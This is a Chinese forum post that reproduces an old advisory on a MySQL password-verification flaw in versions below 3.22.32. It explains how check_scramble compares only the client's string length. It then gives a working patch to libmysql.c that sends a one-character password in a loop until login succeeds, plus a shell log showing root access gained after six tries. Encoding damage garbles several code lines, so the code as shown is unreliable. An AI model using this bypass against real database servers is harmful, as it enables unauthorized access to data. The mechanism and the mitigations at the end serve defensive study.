Mysql低版本存在的远程访问漏洞_MySQL, Oracle及数据库讨论区_Weblogic技术|Tuxedo技术|中间件技术|Oracle论坛|JAVA论坛|Linux/Unix技术|hadoop论坛_联动北方技术论坛  
网站首页 | 关于我们 | 服务中心 | 经验交流 | 公司荣誉 | 成功案例 | 合作伙伴 | 联系我们 |
联动北方-国内领先的云技术服务提供商
»  游客             当前位置:  论坛首页 »  自由讨论区 »  MySQL, Oracle及数据库讨论区 »
总帖数
1
每页帖数
101/1页1
返回列表
0
发起投票  发起投票 发新帖子
查看: 2574 | 回复: 0   主题:  Mysql低版本存在的远程访问漏洞        下一篇 
xiaoyang
注册用户
等级:上士
经验:253
发帖:75
精华:0
注册:2011-10-19
状态:离线
发送短消息息给xiaoyang 加好友    发送短消息息给xiaoyang 发消息
发表于: IP:您无权察看 2014-12-1 9:48:50 | [全部帖] [楼主帖] 楼主

发现了Mysql低版本存在的远程访问漏洞,把相关内容做个笔记,大家一起学习。

一. 概述

MySQL是一个常用的小型数据库系统,国内有很多站点正在使用它作为web数据库。

在MySQL的口令验证机制里存在安全漏洞。它允许任何用户从有目标机器数据库访问权限

的机器上与该数据库进行连接。攻击者不必知道帐号的口令,而只需知道一个可用的帐号

名即可。

所有低于Mysql 3.22.32的版本可能都是有问题的。

二. 细节

MySQL的口令认证的机制是这样的:当一个客户端发送一个连接请求的时候,服务端会首

先产生一个随机字符串(A),将这个字符串发送给客户端,客户端会用这个字符串和用户

输入的口令所产生的Hash值(B)生成一个新的字符串(C)。 并将这个新的字符串返回给服

务端。服务端将原先的随机字符串(A)与数据库中保存的口令Hash值(B')再生成一个字符

串(C'),比较这两个字符串(C和C')的内容是否一致,如果一致就允许登录,否则就不允许

登录。

然而,当比较C和C'这两个字符串内容的时候,由于没有考虑比较字符串的长度,导致了

问题的产生。从sql/password.c中可以看到有问题的代码部分:

my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
      ......
      while (*scrambled)
      {
            if (*scrambled++ != (char) (*to++ ^ extra))
            return 1; ?* Wrong password */
      }
      return 0;
}
......


这里的scrambled就是客户端提供的字符串C,(*to++ ^ extra))就是服务端生成的字符串

C'(中的一个字符).我们可以看到,比较的次数决定于客户端提供的字符串C的长度。问

题就出在这里了,本来服务端应当首先判断这两个字符串长度是否相等的,但是它没有,

所以如果客户端提供的字符串只有一个字符,那么check_scramble()将只比较C和C'的第

一个字节。

C'的内容是随机产生的,所以第一次登录和第二次登录时,C'的第一个字符通常是不同的。

例如:

@SQOGRFA 第一次

VV]KPIU_ 第二次

M[PPRYX^ 第三次

但是,根据分析,C'的每一个字符只可能有32种可能性,即:

ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^


那么理论上说,如果我们每次连接都发送同一个字符(比如'A')作为口令,那么32次连接

中会有一次成功。当然,这只是从概率上统计,实际上尝试的次数会从1次到100多次不等。

三. 测试程序

根据上面的分析,我们只要每次发送一个字符给服务端,如果返回错误信息,我们再次发

送这个字符,直到成功为止。为了简单起见,我们可以修改mysql的client程序.

在client/libmysql.c中, mysql_real_connect()函数是用来与服务端建立连接的。

......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));


/* 这里的scramble()函数将产生校验用的口令字符串C,然后将C复制到strend(buff+5)+1

处,既然我们只是要发送一个字符过去,我们可以注释掉这两行,直接将一个字?br> 复制过去即?br> ?/

?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......


} ?br> ?br> 修改后变成: ?br> ?.....

MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
      ......
      DBUG_PRINT("info",("user: %s",buff+5));
      ?br> /*
      end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      ?my_bool) (mysql->protocol_version == 9));
      ?/
      end = strend(buff+5) +1 ;
      *end = 'A';
      end ++;
      *end = '\0'; ?br>
      if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
      {
            ......
      }


然后我们将这个mysql_real_connect()改名成mysql_real_connect_orig(),构造一个新的

mysql_real_connect(),它将循环调用原来的mysql_real_connect_orig(),当不断尝试发送

字符'A'进行连接,直到通过口令验证为止。

注意:下面提供的程序仅供在本机测试使用,请不要用于非法目的,后果自负!

libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)
#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
      @@ -1276,8 +1278,15 @@
      else
      read_user_name((char*) buff+5);
      DBUG_PRINT("info",("user: %s",buff+5));
      - end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      - ?my_bool) (mysql->protocol_version == 9));
      +/* We skip the step that create valid passwd .:) ?- warning3 */
      + //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
      + // ?my_bool) (mysql->protocol_version == 9));
      + trynum++;
      + printf("Trying %d times\n",trynum);
      + end = strend(buff+5) +1 ;
      + ?end = 'A'; /* We just send one character as password */
      + end ++;
      + ?end = '\0';
      if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
      {
            end=strmov(end+1,db);
            @@ -1286,7 +1295,7 @@
      }
      if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
      net_safe_read(mysql) == packet_error)
      - goto error;
      + return NULL; /* If login failed,we return NULL */
      if (client_flag & CLIENT_COMPRESS) /* We will use compression */
      net->compress=1;
      if (db && mysql_select_db(mysql,db))
      @@ -1317,6 +1326,23 @@
      DBUG_RETURN(0);
}
+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
      + MYSQL *res;
      +
      + while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
      + printf("\nooOH,We come in! ;-)\n\n");
      + return res;
      +
+}
static my_bool mysql_reconnect(MYSQL *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[warning3@warninng3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warninng3 warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[warning3@warninng3 warning3]$ cd mysql-3.22.27
[warning3@warninng3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warninng3 client]$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27
Type 'help' for help.
mysql>


四. 解决办法

1. 升级到最新版:

2. 对于外部连接做Ip限制 ?br>




赞(0)    操作        顶端 
总帖数
1
每页帖数
101/1页1
返回列表
发新帖子
请输入验证码: 点击刷新验证码
您需要登录后才可以回帖 登录 | 注册
技术讨论